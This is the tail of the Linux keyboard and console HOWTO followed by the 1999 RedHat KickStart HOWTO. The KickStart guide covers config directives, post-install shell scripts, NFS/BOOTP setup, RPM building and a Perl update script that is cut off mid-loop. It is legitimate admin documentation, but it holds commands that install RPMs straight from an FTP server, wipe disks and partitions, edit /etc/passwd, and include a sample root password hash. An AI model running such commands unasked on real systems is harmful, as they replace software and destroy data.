        % echo -e '\033c'
resets all properties of the current VC. Just changing the cursor application key mode is done by
        % echo -e '\033[?1h'
(set) and
        % echo -e '\033[?1l'
(clear).

When the terminal is in application keypad key mode the keypad keys produce Esc O y and otherwise Esc [ z ~ for certain y and z. Setting application keypad key mode is done by

        % echo -e '\033='
and
        % echo -e '\033>'
clears it again.


The Linux keyboard and console HOWTO: Hardware incompatibility

 Next Previous Contents

22. Hardware incompatibility

Several people have noticed that they lose typed characters when a floppy disk is active. It seems that this might be a problem with Uni-486WB motherboards.

Tjalling Tjalkens (tjalling@ei.ele.tue.nl) reports very similar problems with "a no-brand GMB-486 UNP Vesa motherboard with AMD 486DX2-66 CPU" - during floppy activity some keystrokes are lost, during floppy tape streamer (Conner C 250 MQ) activity many keystrokes are lost.

Some people experience sporadic lockups - sometimes associated to hard disk activity or other I/O.

Ulf Tietz (ulf@rio70.bln.sni.de) wrote: `I have had the same problems, when I had my motherboard tuned too fast. So I reset all the timings ( CLK, wait statements etc ) to more conventional values, and the problems are gone.'

Bill Hogan (bhogan@crl.com) wrote: `If you have an AMI BIOS, you might try setting the Gate A20 emulation parameter to "chipset" (if you have that option). Whenever I have had that parameter set to any of the other options on my machine ("fast", "both", "disabled") I have had frequent keyboard lockups.'

There may be a relation between keyboard problems and the video card in use.

Shawn K. Quinn (skquinn@wt.net) wrote: `I have a Zeos Pantera Pentium-90 that originally came with a Diamond Stealth 64 S3-based video card. Under X I frequently got q's inserted into my text (how annoying) especially if I typed very fast (during Netrek for instance, even more annoying because guess what that does :-( ). Switching to a Creative Labs Graphics Blaster MA202 solved the problem. I'm assuming the Stealth 64 did something funny with the timings.'


The Linux keyboard and console HOWTO: Copyright

 Next Previous Contents

23. Copyright

Copyright (c) 1993-2001 by Andries Brouwer. This document may be distributed under the terms set forth in the LDP license at http://metalab.unc.edu/LDP/COPYRIGHT.html or ftp://www.win.tue.nl/pub/linux/LDP/COPYRIGHT.txt.

Additions and corrections are welcome. Andries Brouwer - aeb@cwi.nl


RedHat Linux KickStart HOWTO

Martin Hamilton <martinh@gnu.org>

v0.2, 11 January 1999

This HOWTO briefly describes how to use the RedHat Linux KickStart system to rapidly install large numbers of identical Linux boxes. For advanced users, we describe how to modify the KickStart installation procedure to do your own thing, and give a quick guide to building RPM packages of your own.

1. Copyright

2. Homepage

3. Introduction

4. Prerequisites

5. Setting up a boot floppy

6. The KickStart config file

  • 6.1 System info
  • 6.2 Packages to install
  • 6.3 Post-installation shell commands

7. Installation itself

8. Mounting the boot/supp disks

9. Modifying the RedHat installer

10. FAQs/Wish list

11. Credits

12. Appendix A - Configuring BOOTP/DHCP and NFS

13. Appendix B - Making your own RPMs

14. Appendix C - Munging your own RPMs into the distribution


RedHat Linux KickStart HOWTO: Copyright

 Next Previous Contents

1. Copyright

Copyright (c) 1998 Martin Hamilton, All rights reserved. This is free documentware; you can redistribute it and/or modify it under the terms of version 2 or later of the GNU General Public License.


RedHat Linux KickStart HOWTO: Homepage

 Next Previous Contents

2. Homepage

If you got this document from a Linux HOWTO mirror site or a CD-ROM, you might want to check back to the KickStart HOWTO home page to see if there's a newer version around.


RedHat Linux KickStart HOWTO: Introduction

 Next Previous Contents

3. Introduction

RedHat Linux version 5 comes with a a little-known (and until now, not hugely documented) feature called KickStart. This lets you automate most/all of a RedHat Linux installation, including:

  • Language selection
  • Network configuration and distribution source selection
  • Keyboard selection
  • Boot loader installation (e.g. lilo)
  • Disk partitioning and filesystem creation
  • Mouse selection
  • X Window system server configuration
  • Timezone selection
  • Selection of an (initial) root password
  • Which packages to install

Eagle eyed RedHat users will probably have realised by now that these are essentially the main steps involved in the manual installation of a RedHat Linux system. KickStart makes it possible for you to script the regular installation process, by putting the information you would normally type at the keyboard into a configuration file.

But wait - there's more :-)

Having finished the normal installation process, KickStart also lets you specify a list of shell level commands which you would like to be executed. This means that you can automatically install extra local software not distributed as part of RedHat Linux (yes, there are even more free software programs than the ones you get with the RedHat distribution. Some can't be distributed by RedHat on legal grounds, e.g. the ssh and PGP encryption systems) and carry out any tidying up you may need to do in order to get a fully operational system.


RedHat Linux KickStart HOWTO: Prerequisites

 Next Previous Contents

4. Prerequisites

There are two approaches to a KickStart install - one is to simply copy your KickStart configuration file to a RedHat boot floppy. The other is to use a regular boot floppy and get your KickStart config file off the network.

In both cases, you'll need:

  1. Intel (i386) class machines - KickStart appears to only work on these at the time of writing.
  2. KickStart config file - we'll talk about this in the next section.
  3. RedHat boot disk - preferably from the updates directory, to take advantage of any fixes/driver updates.
  4. DNS entries for the IP addresses you'll be using - optional, but will stop the installation from prompting you for your machine's domain name.

If you want to fetch your config file over the network, you'll need to export it via NFS - this is the only access method supported at the moment. The config file lets you specify a different NFS server to fetch the RedHat distribution itself from.

You can configure a static IP address for your machine - e.g. a special one reserved for KickStart installations. Alternatively, if you don't want to hard code an IP address in the config file you can tell KickStart to use a BOOTP/DHCP server to fetch this. Some servers will allocate new addresses in a given range automatically, e.g. the CMU BOOTP server with dynamic addressing extensions.

More information on NFS and BOOTP/DHCP is in Appendix A.


RedHat Linux KickStart HOWTO: Setting up a boot floppy

 Next Previous Contents

5. Setting up a boot floppy

Essentially, all you have to do is copy your KickStart config file to /ks.cfg on the RedHat boot floppy, e.g.

  mcopy ks.cfg a:

However - the RedHat boot floppy is pretty full, and you may find that you have to delete some of the other files to make room for the KickStart config file. I was able to make enough room for mine by deleting the various message files normally displayed by the SYSLINUX boot loader, e.g.

  mdel a:\*.msg

Another approach would be to throw away the drivers for some of the hardware you don't have - see the section on modifying the boot floppy below.

You may also want to edit syslinux.cfg, the SYSLINUX config file. This also lives in the top level directory of the RedHat boot floppy. For instance, the following syslinux.cfg will cause KickStart mode to be entered into automatically as the machine boots up, without the normal delay:

  default ks
  prompt 0
  label ks
    kernel vmlinuz
    append ks=floppy initrd=initrd.img

Note that you almost probably want to base your boot and supplementary floppies on the most recent disk images available in the updates/i386 on your local RedHat mirror site. Older images may be buggy or have driver support for less hardware.


RedHat Linux KickStart HOWTO: The KickStart config file

 Next Previous Contents

6. The KickStart config file

There are three main sections to the config file:

  1. System info, e.g. disk partitioning and network config
  2. RedHat packages to install
  3. Post-installation shell commands to run

There are some other possibilities which we won't talk about here, but might work. For more information check out the sample KickStart config in misc/src/install/ks.samp and doc/README.ks under the top level i386 RedHat distribution directory on your CD-ROM or local RedHat mirror site.

6.1 System info

The available directives which I've been using are:

lang

Language configuration, e.g. for English

lang en
network

Network configuration, e.g. to use BOOTP/DHCP

network --bootp
nfs

NFS server and directory to install from, e.g.

nfs --server chicken.swedish-chef.org /mnt/cdrom
to use the NFS server chicken.swedish-chef.org and try to mount the RedHat distribution from the directory /mnt/cdrom.
keyboard

Select keyboard type, e.g. for UK keyboards

keyboard uk
zerombr

Clear the Master Boot Record - removes any existing operating system boot loader from your disk

clearpart

Clear existing partitions - e.g. to remove all existing disk partitions prior to installation

clearpart --all
part

Partition the disk, e.g. to make a root filesystem of 500MB

part / --size 500
install

Make a fresh installation of RedHat Linux.

mouse

Set the mouse being used, e.g. for a PS/2 or compatible "bus mouse"

mouse ps/2
timezone

Set the timezone, e.g. for local time in the UK

timezone --utc Europe/London
rootpw

Set the initial root password, based on a previously derived encrypted password

rootpw --iscrypted XaacoeGPmf/A.
lilo

Install the LILO boot loader, e.g. in the Master Boot Record

lilo --location mbr
%packages

Packages to install - see below.

%post

Post-installation shell commands - see below.

Note that the directory where KickStart is looking for the RedHat distribution should have a subdirectory RedHat, which contains the RedHat distribution tree for the platform in question. In the above example, we should see something like the following files and directories:

/mnt/cdrom/RedHat
/mnt/cdrom/RedHat/base
/mnt/cdrom/RedHat/contents
/mnt/cdrom/RedHat/i386
/mnt/cdrom/RedHat/instimage
/mnt/cdrom/RedHat/RPMS
/mnt/cdrom/RPM-PGP-KEY

If you're installing off a CD-ROM rather than off the network, the contents should look something like this:

RedHat
RedHat/base
RedHat/contents
RedHat/i386
RedHat/instimage
RedHat/RPMS
RPM-PGP-KEY

If you have the RedHat distribution for multiple architectures (e.g. on an NFS server - they're too big to fit more than one architecture's version onto a single CD-ROM), you'll notice that each distribution has the same files and directories under a subdirectory, e.g.

alpha/RPM-PGP-KEY
i386/RPM-PGP-KEY
sparc/RPM-PGP-KEY

There should be a file architecture/Redhat/architecture, e.g. i386/Redhat/i386.

If you want to create your own encrypted passwords, it's very easy using Perl, e.g.

% perl -e 'print crypt("schmurrdegurr", "Xa") . "\n";'p

Other options (or mooted options), which I've not tried:

cdrom

Install off CD-ROM rather than network.

device

Explicitly declare device details, e.g.

device ethernet 3c509 --opts "io=0x330, irq=7"
Alternative values of device include scsi for SCSI controllers and cdrom for proprietary CD-ROM drives.
upgrade

Upgrade an existing installation rather than make a fresh installation.

xconfig

Configure X Window server, graphics card and monitor. e.g.

xconfig --server "Mach64" --monitor "tatung cm14uhe"

I've not delved too deeply into this last one, because I'm not ever planning to run X on the console of any of my KickStarted machines. I'm told that running xconfig within KickStart itself is a bit flaky, but the same functionality is also available from the command line via Xconfigurator - so you might be best off leaving this to the post-installation script.

Here's how this first part of a KickStart config file looks when we put all the bits together:

lang en
network --static --ip 198.168.254.253 --netmask 255.255.255.0
  --gateway 198.168.254.1 --nameserver 198.168.254.2
nfs --server chicken.swedish-chef.org /mnt/cdrom
keyboard uk
zerombr yes
clearpart --all
part / --size 500
part swap --size 120
install
mouse ps/2
timezone --utc Europe/London
rootpw --iscrypted XaacoeGPmf/A.
lilo --location mbr

Note that some of the RedHat documentation refers to an invocation of the network directive which doesn't actually work in practice: network --option. The correct invocation is to put network followed by --static, --bootp or --dhcp. Be aware that the BOOTP and DHCP options are different - to the extent that they even use different code.

You can add the --grow parameter to a part directive to indicate that it's OK to grow the partition beyond the size you specify. It probably only makes sense to have one partition tagged with --grow.

6.2 Packages to install

The start of the packages section of the KickStart config file is indicated by the presence of a %packages directive on a line of its own. This is followed by one or both of two types of package specifier - individual packages may be installed by giving the name of their RPM (excluding the version and platform information), and groups of packages may be installed by giving their group name.

Here's a sample packages section for a KickStart config file:

%packages
@ Base
netkit-base
bind-utils
ncftp
rdate
tcp_wrappers
traceroute
cmu-snmp

So, what are these groups ? Well, there are a number of groups defined by default in a file called base/comps under the RedHat distribution's top level directory. Here are the ones which were current at the time of writing:

  • Base
  • Printer Support
  • X Window System
  • Mail/WWW/News Tools
  • DOS/Windows Connectivity
  • File Managers
  • Graphics Manipulation
  • X Games
  • Console Games
  • X multimedia support
  • Console Multimedia
  • Print Server
  • Networked Workstation
  • Dialup Workstation
  • News Server
  • NFS Server
  • SMB (Samba) Connectivity
  • IPX/Netware(tm) Connectivity
  • Anonymous FTP/Gopher Server
  • Web Server
  • DNS Name Server
  • Postgres (SQL) Server
  • Network Management Workstation
  • TeX Document Formatting
  • Emacs
  • Emacs with X windows
  • C Development
  • Development Libraries
  • C++ Development
  • X Development
  • Extra Documentation

You'll notice that they correspond to the various configurations which you're prompted for during a manual installation. Note that some of the packages in a given package group are duplicated in other groups, and that you can install multiple groups of packages without this causing problems. Each group's entry in the comps listing looks similar to this:

0 Extra Documentation
sag
lpg
howto
faq
man-pages
end

It seems that groups with a 1 next to their name (the first line above) are selected for installation by default. You can customise the Linux installation process even further by creating your own groups or redefine existing ones by editing this file.

6.3 Post-installation shell commands

This is probably the best feature of all, and something which there is no direct equivalent to in the manual installation process. What we can do here is specify a sequence of shell level commands which should be executed after the main installation (disk partitioning, package installation, and so on) is complete.

The beginning of this section is signified by the %post directive in the KickStart config file. In what follows you can take advantage of all of the utilities which have been installed on your newly built Linux system, e.g.

%post
ln -s /etc/rc.d/init.d /etc/init.d
ln -s /etc/rc.d/rc.local /etc/rc.local
ln -s /usr/bin/md5sum /usr/bin/md5
ln -s /usr/bin/perl /usr/local/bin/perl
chmod ug-s /bin/linuxconf
mkdir /var/tmp/tmp
perl -spi -e 's!image=/boot/vmlinuz-.*!image=/boot/vmlinuz!' /etc/lilo.conf
rm /etc/rc.d/rc*.d/*sendmail

You can also use I/O redirection and here documents:

cat <<EOF >>/etc/passwd
squid:*:102:3500:Squid Proxy:/usr/squid:/bin/bash
EOF

cat <<EOF >>/etc/group
cache:x:3500:
EOF

Modify the run-time startup scripts:

cat <<EOF >>/etc/rc.local
echo 8192 > /proc/sys/kernel/file-max
echo 32768 > /proc/sys/kernel/inode-max

[ -x /usr/sbin/sshd ] && /usr/sbin/sshd
[ -x /usr/sbin/cfd ] && /usr/sbin/cfd

EOF

Set up crontab entries:

cat <<EOF >/tmp/crontab.root
# Keep the time up to date
0,15,30,45 * * * * /usr/sbin/ntpdate -s eggtimer 2>&1 >/dev/null
# Recycle Exim log files
1 0 * * * /usr/exim/bin/exicyclog
# Flush the Exim queue
0,15,30,45 * * * * /usr/exim/bin/exim -q
EOF

crontab /tmp/crontab.root
rm /tmp/crontab.root

And even install other RPMs which you made yourself:

rpm -i ftp://chicken.swedish-chef.org/rpms/squid.rpm
rpm -i ftp://chicken.swedish-chef.org/rpms/ssh.rpm
rpm -i ftp://chicken.swedish-chef.org/rpms/exim.rpm
rpm -i ftp://chicken.swedish-chef.org/rpms/cfengine.rpm
rpm -i ftp://chicken.swedish-chef.org/rpms/linux.rpm

ssh-keygen -b 1024 -f /etc/ssh_host_key -N ""
depmod -a

Note that you can achieve the same effect by making your own RPMs containing the commands you want executed - see below for more information. Give them a carefully chosen name and you can force them to be installed first (e.g. name starts with 'aaa') or last (e.g. name starts with 'zzz').

Be aware that a less painful way of doing root crontab entries is to create them as files in one or more of the directories /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly and /etc/cron.monthly.

More information about making your own RPMs is available in Appendix B.


RedHat Linux KickStart HOWTO: Installation itself

 Next Previous Contents

7. Installation itself

Boot the to-be-installed machine off your RedHat boot floppy as usual, but instead of pressing RETURN at the SYSLINUX prompt, type linux ks.

If you're lucky, this will be all you have to type!

If you customised your RedHat boot floppy as outlined above, you won't even need to do this bit :-)

Since we're really just automating the normal steps involved in a RedHat installation, the normal dialogs may appear if/when KickStart gets confused about what to do next. The most likely case is that your network interface won't be detected automatically, and you'll be prompted for its IRQ and I/O address space. KickStart tends to need help for ISA bus cards, but detects PCI bus cards automatically.

You can keep an eye on what KickStart is doing by by switching virtual consoles as usual:

  • Alt-F1 - installation dialog
  • Alt-F2 - shell prompt
  • Alt-F3 - install log (messages from install program)
  • Alt-F4 - system log (messages from kernel, etc.)
  • Alt-F5 - other messages


RedHat Linux KickStart HOWTO: Mounting the boot/supp disks

 Next Previous Contents

8. Mounting the boot/supp disks

The RedHat boot disk boot.img is in MS-DOS format, using the SYSLINUX program to boot up. The supplementary disk supp.img is a Linux ext2 filesystem. If you have support for the loopback filesystem in your Linux kernel, you can mount both of these files in your filesystem and hack at them:

# mkdir -p /mnt/boot /mnt/supp
# mount -o loop -t msdos boot.img /mnt/boot
# mount -o loop supp.img /mnt/supp

Now you should be able to see and manipulate the files on the boot and supplementary disk under /mnt/boot and /mnt/supp respectively. Phew! Note that older versions of mount may not be able to handle the -o loop option. In these cases you'll need to explicitly use losetup to configure the loopback device for each file, e.g.

# losetup /dev/loop0 boot.img
# mount -t msdos /dev/loop0 /mnt/boot

You might also need to explicitly use the -t ext2 option when mounting an ext2 filesystem like the one on the supplementary disk. But, it looks like people with modern Linux distributions shouldn't have to worry about this.

Of course, if you don't want to mess around too much, you can cut a corner and manipulate actual floppy disks rather than these floppy disk images. If time is important, you'll probably prefer to use the loopback devices, since you can hack around with the disk images without incurring the latency associated with a genuine floppy disk read/write.


RedHat Linux KickStart HOWTO: Modifying the RedHat installer

 Next Previous Contents

9. Modifying the RedHat installer

If you want to mess around with the installation procedure itself, the source code can be found on the RedHat CD-ROM or your local RedHat mirror site. It's in misc/src/install under the i386 distribution top level directory.

If you examine the RedHat boot disk you'll see that, in addition to the Linux kernel vmlinuz, there's a large file initrd.img:

- -rwxr-xr-x   1 root     root          559 May 11 15:48 boot.msg
- -rwxr-xr-x   1 root     root          668 May 11 15:48 expert.msg
- -rwxr-xr-x   1 root     root          986 May 11 15:48 general.msg
- -rwxr-xr-x   1 root     root       968842 May 11 15:48 initrd.img
- -rwxr-xr-x   1 root     root         1120 May 11 15:48 kickit.msg
- -r-xr-xr-x   1 root     root         5352 May 11 15:48 ldlinux.sys
- -rwxr-xr-x   1 root     root          875 May 11 15:48 param.msg
- -rwxr-xr-x   1 root     root         1239 May 11 15:48 rescue.msg
- -rwxr-xr-x   1 root     root          402 May 11 15:48 syslinux.cfg
- -rwxr-xr-x   1 root     root       444602 May 11 15:48 vmlinuz

You guessed it, this is another ext2 filesystem saved as a file - - but with a twist. It's actually compressed as well. You can uncompress it and then mount the result, e.g.

# gzip -dc /mnt/boot/initrd.img >/tmp/initrd.ext2
# mkdir /mnt/initrd
# mount -o loop /tmp/initrd.ext2 /mnt/initrd

Probably the most important part of this filesystem is the collection of loadable kernel modules which are included with the boot disk. If you need to merge in a new version of a driver, you'll need to either replace vmlinuz with a new kernel which has this statically linked, or replace it in the modules collection. What's more, you may need to throw other modules away to make room.

The modules collection is the file modules/modules.cgz. Wondering what that might be ? It's actually a compressed cpio archive, believe it or not! And you thought nobody used cpio any more... Actually RPM itself uses cpio internally, too. Here's how to hack around with it:

# gzip -dc /mnt/initrd/modules/modules.cgz >/tmp/modules.cpio
# cpio -itv <modules.cpio >modules.listing
# mkdir modules
# cpio -idumv <../modules.cpio

I don't believe that there is currently a way under Linux (at least in mainstream distributions) to transparently access compressed filesystems. Let me know if you know better!

If you change anything, remember to:

  1. Use cpio to recreate the archive. How to do this is left as an exercise for the reader...
  2. Use gzip to compress the resulting archive.
  3. Copy it to /mnt/initrd, or wherever you put the uncompressed initrd.img archive.
  4. Unmount /mnt/initrd (or whatever you called it).
  5. Compress the new initrd.img using gzip again.
  6. Copy the resulting archive onto the boot disk image - /mnt/boot/initrd.img in our example.
  7. Unmount the boot disk image, e.g. /mnt/boot.

Finally, you can now create new boot floppies using this modified boot disk setup, e.g.

# cat boot.img >/dev/fd0


RedHat Linux KickStart HOWTO: FAQs/Wish list

 Next Previous Contents

10. FAQs/Wish list

Q: After KickStart installation, my machine won't boot up. The BIOS complains with a message like Missing operating system.

A: Sounds like the partition with the root filesystem on isn't bootable. Use fdisk to toggle its bootable status.

Q: After the floppy boots, I get the message: Error opening files for kickstart copy: File exists.

A: Use a more recent version of boot.img and supp.img - look in the updates directory of your local RedHat mirror site. There was a bug in some older versions of these for RedHat 5.1.

Q: Can you have all outstanding patches (update RPMs) applied automatically too ? How ?

A1: Copy the RPMs you want installing to the RPMS directory from which the installation is going to take place, get rid of the older RPMs, and update the file RedHat/base/hdlist with the new RPM details. See Appendix C for a script from Eric Doutreleau to do this for you. If you do this yourself, remember to run genhdlist afterwards!

A2: Try this Perl script: patchup. This compares the RPMs your system has installed with those in a nominated directory and reports on the ones it thinks need updating. It can even install them for you if you trust it to.

A3: rpm2hml has a much more powerful (12MB of C code vs. a page of Perl!) version of A2.

Q: A single config file on the install server for all of the clients, perhaps as a fallback after trying IPADDR-kickstart ?

A1: Use the BOOTP/DHCP 'boot file' parameter bf to set the filename.

A2: Add a a record bf=/kickstart/ks.cfg to the relevant entry in /etc/bootptab.

Q: More flexibility when things go wrong - e.g. prompt for alternate locations if distribution not found on CD-ROM.

A: ?

Q: Explicit exclusion of packages - e.g. everything apart from sendmail.

A: Rebuild the BASE package without sendmail.

Q: Choose which services are started automatically on boot-up by the run-level scripts under /etc/rc.d/.

A: The chkconfig utility lets you configure which services are run automatically on boot-up. You can run this in your post-installation script section, e.g. to run ypbind in run levels 3, 4 and 5:

chkconfig --level 345 ypbind on

and it will start the ypbind level on the 345 level.

Q: When executing the shell commands in the %post section, bring any output up in another virtual console rather than overwriting the main screen. Could be done in the shell commands section using open?.

A: No problem - do something like this:

  exec >/dev/tty5

Q: Does the filesystem creation code check for bad blocks ?

A: If you switch to the virtual console where the filesystem creation output is being displayed, you won't see any mention of the 'read-only' test being performed. Looks like the answer is no.

Q: Can I arrange things so some of my machines are configured differently from others ?

A: You could move the host dependent stuff into the scripted section of the KickStart config - e.g. only install a given RPM if on a given machine. It would be useful to have a conditional installation feature in the packages section of the config file, e.g. switching on architecture, or hostname/domain name/IP address.

Q: Are there any changes between RedHat 5.1 and 5.2 ?

A1: Lots of changes in the installer, but mostly bug fixes or cosmetic improvements. No impact on KickStart as far as I can tell - from a diff -rcs of the two misc/src/install directories.

A2: RH5.2 now apparently includes the automatic IP allocation/DHCP patches to bootpd, but they have left out the documentation which tells you how to use it.

Q: (How) can you clear a specific partition or partitions ? e.g. to leave /home but zap /.

A: You can't - yet!

Q: Can you arrange to have your partitions created across multiple drives ? e.g. / on sda and /home on sdb.

A: Don't think so - looks like you only get access to the first drive from the partitioning tool.

Q: Is it possible to specify existing partitions to be included in the mount table, or is it only possible to specify the creation of new partitions that will then be included?

A: ?

Q: After running mkkickstart, where is the file it creates?

A: It doesn't create a file - it dumps the KickStart config to stdout.

Q: In virtual console 4 (Alt-F4) I get Unable to load NLS charset cp437(nls_cp437). What does this mean ? Should I be worried ?

A: Sounds like you're trying to mount a CD-ROM burned with the Joliet (Unicode extensions to ISO 9660. In theory the filenames on the CD-ROM might get munched and not make it through to Linux correctly. In practice it doesn't seem to cause any problems - could be a spurious dependency ?

Q: Why am i getting the X Window System installed ? I didn't put it in my list of packages.

A: The XFree86-VGA16 RPM is a 'base' component, and as such always gets installed - unless you change the definition of the base class.

Q: In my post-installation script, can I use the packages which have been installed by now to do funky things not possible with the limited tools on the floppies ?

A: Yep - e.g. if you chose to install Perl when you put your KickStart config together, almost anything is possible in about five lines :-)


RedHat Linux KickStart HOWTO: Credits

 Next Previous Contents

11. Credits

Thanks to Eric Doutreleau for the info about chkconfig, the SYSLINUX config file hack, and the Perl script for updating your distribution server's RPMs. Thanks to Robert Kaminsky for extensive investigations. Thanks to Piete Brooks, Flavia Regina Munhoz, Tom Toffoli, Bob Robbins, Charlie Brady and Ragen Herrington, for their comments and questions.


RedHat Linux KickStart HOWTO: Appendix A - Configuring BOOTP/DHCP and NFS

 Next Previous Contents

12. Appendix A - Configuring BOOTP/DHCP and NFS

If you're wondering what on earth this BOOTP and DHCP stuff is, more information is available at the DHCP WWW site. NFS is documented separately in detail in the NFS HOWTO, and there's a DHCP mini-HOWTO too. I've tried to provide enough details here to help you get started, whilst not treating the topics in depth - let me know if you think this is overkill.

In the BOOTP/DHCP + NFS configuration we're discussing, the KickStart config file should be NFS mountable by the machine being installed from /kickstart/IPADDR-kickstart on the BOOTP/DHCP server, where IPADDR is the IP address of the new machine, e.g. /kickstart/198.168.254.254-kickstart for the machine 198.168.254.254.

You should be able to override this location by returning the bf parameter (boot file) in your BOOTP/DHCP response. It may even be possible to have this NFS mounted off another machine entirely.

To NFS export some directories from an existing Linux box, create the file /etc/exports with contents something like:

/kickstart *.swedish-chef.org(ro,no_root_squash)
/mnt/cdrom *.swedish-chef.org(ro,no_root_squash)

Note that if you didn't register the IP addresses you're going to be using in the DNS, you may be told to get lost by the NFS server and/or the RPC portmapper. In this you can probably get away with putting IP address/netmask pairs in the config files, e.g.

/kickstart 198.168.254.0/255.255.255.0(ro,no_root_squash)

and in /etc/hosts.allow:

ALL: 194.82.103.0/255.255.255.0: ALLOW

This is because most Linux distributions use TCP wrappers to do access control for some or all of the NFS related daemons. Be aware that the /etc/exports syntax tends to be different on other Unix variants - the NFS servers bundled with Linux distributions tend to offer a much wider range of options than the ones shipped with other versions of Unix.

Be aware that if you include a root password in your KickStart config file, or NFS export directories containing sensitive information, you should take care to expose this information to as few people as possible. This can be done by making the NFS export permissions as fine grained as you can, e.g. by specifying a particular host or subnet to export to rather than a whole domain. If you keep a special IP address free for KickStart installations, everything's nice and simple, but you'll have to change it later - or reconfigure the machine to get its IP address via BOOTP/DHCP.

Most NFS servers require you to tell mountd and nfsd (on some versions of Unix they're prefixed with a rpc.) that the /etc/exports file has changed - usually by sending a SIGHUP. There's often a program or script called exportfs, which will do this for you, e.g.

# exportfs -a

If you didn't have NFS up and running when this machine was booted, the directories may not be exported automatically. Try rebooting, or running the following programs as root:

# portmap
# rpc.nfsd
# rpc.mountd

As noted, on some systems the rpc. prefix isn't used. In most modern Unix distributions, these programs can be found in the /usr/sbin or /usr/libexec directories. These might not be in your path already, e.g. if you used su to become root. The portmap program is also sometimes called rpcbind, e.g. on Solaris, some versions of nfsd require a command line argument specifying the number of instances of the server to run, and you may find you also need to run another daemon called biod. The above should suffice on most (all?) Linux systems.

If you're using the CMU BOOTP server with DHCP and dynamic addressing extensions referred to earlier, a sample /etc/bootptab entry (/etc/bootptab is the normal location of the BOOTP/DHCP configuration file) would look something like this:

  .dynamic-1:ip=198.168.254.128:T254=0x30:T250="ds=198.168.254.2:
  dn=swedish-chef.org:sm=255.255.255.0:gw=198.168.254.1:
  dl=0xFFFFFFFF":

(wrapped for clarity)

This says to allocate IP addresses dynamically on encountering new machines, starting at 198.168.254.128 and continuing for the next 48 (the hexadecimal value 30) addresses. Each client will be passed back the value of T250. In this case that sets:

  • the DNS server ds to 198.168.254.2
  • the domain name dn to swedish-chef.org
  • the subnet mask sm to 255.255.255.0
  • the default gateway gw to 198.168.254.1
  • the lease length dl (how long the address is valid for) to "forever"

There seem to be a number of other versions of this server kicking around which do not support dynamic addressing. For these, you would have to list the hardware (typically Ethernet MAC) address of each to-be-installed machine in /etc/bootptab, and the entries would look something like this:

bork.swedish-chef.org:ip=198.168.254.128:ha=0000E8188E56:
  ds=198.168.254.2:dn=swedish-chef.org:sm=255.255.255.0:
  gw=198.168.254.1:dl=0xFFFFFFFF":

(wrapped for clarity)

Note that the parameter ha corresponds to the hardware address of the machine being installed.


RedHat Linux KickStart HOWTO: Appendix B - Making your own RPMs

 Next Previous Contents

13. Appendix B - Making your own RPMs

The RPM package format is already very well documented, particularly in the book Maximum RPM by Ed Bailey, which you can download from the RPM WWW site - also available from all good book stores! This is just a couple of quick hints for people in a hurry.

RPM packages are built from a spec file. This consists (in a similar fashion to the KickStart config file) of a recipe of steps that need to be taken in order to build the package - it's expected that you'll have to build it from source, potentially for multiple platforms, and may need to apply patches before compiling. Once built and installed, a binary RPM will be created from the files and directories you specify as being associated with the package. It's important to note that RPM has no idea of which files and directories are related to a given package - you have to tell it.

Here's a sample specification for a custom RPM of the Squid WWW cache server:

Summary: Squid Web Cache server
Name: squid
Version: 1.NOVM.22
Release: 1
Copyright: GPL/Harvest
Group: Networking/Daemons
Source: squid-1.NOVM.22-src.tar.gz
Patch: retry-1.NOVM.20.patch
%description
This is just a first attempt to package up the Squid Web Cache for easy
installation on our RedHat Linux servers

%prep
%setup
%build
configure --prefix=/usr/squid
perl -spi -e 's!#( -DALLOW_HOSTNAME_UNDERSCORES)!$1!' src/Makefile
make

%install
make install

%files
/usr/squid

Here's how to build this RPM:

% mkdir -p SOURCES BUILD SRPMS RPMS/i386
% cp ~/squid-1.NOVM.22-src.tar.gz SOURCES
% cp ~/retry-1.NOVM.20.patch SOURCES
% rpm -ba squid-1.NOVM.22+retry-1.spec

This will automatically create a subdirectory under the BUILD directory, into which it'll unpack the source code and then apply the patch (there are a number of options available for patching - check the book for details). Now, RPM will automatically build the package by running configure and then make, install it using make install, and take a snapshot of the files under /usr/squid. It's the latter which will form the binary RPM of the Squid software.

Note that we can insert arbitrary shell commands into the unpacking, building and installing processes, e.g. the call to perl which tweaks one of Squid's compile-time parameters.

The final binary RPM will be left under the RPMS directory in the platform specific subdirectory i386. In this case it will be called squid-1.NOVM.22-1.i386.rpm. Note that the filename is created by concatenating the values of the following parameters from the spec file: Name, Version and Release - plus the hardware platform in question, i386 in this case. Try to bear this in mind when creating your own RPMs, to avoid giving them overly long or painful names!

It's also worth bearing in mind that you can build RPMs without having to rebuild the whole software package, e.g.

Summary: Linux 2.0.36 kernel + filehandle patch + serial console patch
Name: linux
Version: 2.0.36+filehandle+serial_console
Release: 1
Copyright: GPL
Group: Base/Kernel
Source: linux-2.0.36+filehandle+serial_console.tar.gz
%description
This is just a first attempt to package up the Linux kernel with patches
for installation on our RedHat Linux servers

%prep
echo

%setup
echo

%build
echo

%install
echo

%post
/sbin/lilo

%files
/lib/modules/2.0.36
/boot/vmlinuz

In this case we simply create an RPM based on the /boot/vmlinuz file and the contents of the directory /lib/modules/2.0.36, and execute /sbin/lilo after the package has been installed on a target machine. Let me know if you know much neater way of writing the spec file than this.


RedHat Linux KickStart HOWTO: Appendix C - Munging your own RPMs into the distribution

 Next Previous Contents

14. Appendix C - Munging your own RPMs into the distribution

Here is Eric's script for munging updated RPMs into the RedHat distribution area:

#!/usr/bin/perl
#
$redhatdir="/cdrom/i386";
$rpmdir="/cdrom/i386/RedHat/RPMS/";
$updatedir="/cdrom/updates/";
@OTHERDIR=($updatedir);
foreach $dir (@OTHERDIR)
        {
        print "update for $dir\n";
        system(" find $dir -name \"*.rpm\" -exec cp {} $rpmdir \\; ");
        }
chdir($contribdir) || die "peux pas aller dans $contribdir $!\n";
system("chmod -R 755 $redhatdir");
chdir($rpmdir) || die "problem to go in $rpmdir $!\n";
#
# remove the old file
#
opendir(DIR,'.');
@package=grep(/\.rpm$/,readdir(DIR));
foreach $file (@package)
        {
        $file =~ /(.*)\-([\d+|\.]+\w*)\-(\d+)\.[i386|noarch].*/;
        $nom=$1;
        $version=$2;
        $buildvers=$3;
        if ($NOM{$nom})
                {
                $version2=$VERSION{$nom};
                $buildver2=$BUILDVERS{$nom};
                $file2=$FILE{$nom};
                $nom2=$NOM{$nom};
                if ( $version2 gt $version )
                        {
                        print "$file2 is newer than $file\n";
                        unlink($file);
                        }
                else
                        {
                        if ( $version2 lt $version )
                                {
                                print "$file is newer than $file2\n";
                                unlink($file2);
                                $VERSION{$nom}=$version;
